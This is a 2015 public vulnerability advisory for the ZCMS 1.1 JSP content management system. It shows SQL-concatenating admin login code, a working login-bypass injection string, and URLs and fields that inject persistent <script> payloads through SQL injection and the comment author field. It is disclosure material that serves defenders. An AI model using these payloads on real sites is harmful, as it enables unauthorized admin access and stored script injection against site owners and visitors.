137 lines
No EOL
3.3 KiB
Text
137 lines
No EOL
3.3 KiB
Text
# Exploit Title: SQL Injection & Persistent XSS
|
|
# Google Dork: intitle: SQL Injection & Persistent XSS
|
|
# Date: 2015-06-12
|
|
# Exploit Author: John Page ( hyp3rlinx )
|
|
# Website: hyp3rlinx.altervista.org
|
|
# Vendor Homepage: zencherry.com
|
|
# Software Link: sourceforge.net/projects/zencherrycms
|
|
# Version: 1.1
|
|
# Tested on: windows 7 on Apache Tomcat
|
|
# Category: webapps
|
|
|
|
|
|
Vendor:
|
|
=============================================
|
|
http://zencherry.com/
|
|
http://sourceforge.net/projects/zencherrycms
|
|
|
|
|
|
|
|
Product:
|
|
==================================================
|
|
ZCMS 1.1 JavaServer Pages Content Management System
|
|
|
|
|
|
|
|
Advisory Information:
|
|
==============================
|
|
SQL Injection & Persistent XSS
|
|
|
|
|
|
|
|
Vulnerability Details:
|
|
======================
|
|
SQL Injection (CVE-2015-7346):
|
|
Login to admin area requires a password but is easily bypassed
|
|
using classic SQLInjection method because application uses
|
|
concatenated user input to construct SQL queries.
|
|
|
|
|
|
ZCMS exploitable admin login code:
|
|
==================================
|
|
squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users
|
|
WHERE
|
|
status = 0 AND username = '"+username+"' AND password =
|
|
'"+request.getParameter("pass") +"' AND type = 1 ;";
|
|
|
|
|
|
So we just supply an Admin password like ---> HELL' OR '2'='2
|
|
which will resolve as true!
|
|
|
|
|
|
SQL Inject XSS Payload:
|
|
=======================
|
|
We can also inject persisten XSS payload directly to MySQL database
|
|
subverting
|
|
all character filtering leveraging existing SQLInjection vulnerabilities.
|
|
|
|
|
|
Persistent XSS (CVE-2015-7347):
|
|
===============
|
|
|
|
Another persistent XSS vector is here in author field for comments:
|
|
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page
|
|
number]
|
|
|
|
|
|
Exploit code(s):
|
|
===============
|
|
|
|
1) Bypass admin login
|
|
---------------------
|
|
localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login
|
|
Enter 'admin' for username field
|
|
Enter HELL' OR '2'='2 for the pass field
|
|
|
|
|
|
2) Inject XSS using SQL Injection
|
|
---------------------------------
|
|
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title=
|
|
"<script>alert(1)</script>
|
|
&content=<script>alert(1)</script>&author=<script>alert(1)</script>
|
|
SATAN&visibility=1&type=1&comm=0
|
|
|
|
|
|
3) Persistent XSS field
|
|
-----------------------
|
|
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page
|
|
number]
|
|
Inject <script>alert(666)</script> in author input field.
|
|
|
|
|
|
|
|
Disclosure Timeline:
|
|
=========================================================
|
|
Vendor Notification: NA
|
|
June 12, 2015 : Public Disclosure
|
|
|
|
|
|
|
|
Severity Level:
|
|
=========================================================
|
|
High
|
|
|
|
|
|
|
|
Description:
|
|
==========================================================
|
|
|
|
Request Method(s): [+] GET & POST
|
|
|
|
|
|
Vulnerable Product: [+] ZCMS_1.1
|
|
|
|
|
|
Vulnerable Parameter(s): [+] pass, title, content, author
|
|
|
|
|
|
Affected Area(s): [+] Admin, CMS
|
|
|
|
|
|
===============================================================
|
|
|
|
[+] Disclaimer
|
|
Permission is hereby granted for the redistribution of this advisory,
|
|
provided that
|
|
it is not altered except by reformatting it, and that due credit is given.
|
|
Permission is
|
|
explicitly given for insertion in vulnerability databases and similar,
|
|
provided that
|
|
due credit is given to the author. The author is not responsible for any
|
|
misuse of the
|
|
information contained herein and prohibits any malicious use of all
|
|
security related
|
|
information or exploits by the author or elsewhere.
|
|
|
|
|
|
(hyp3rlinx) |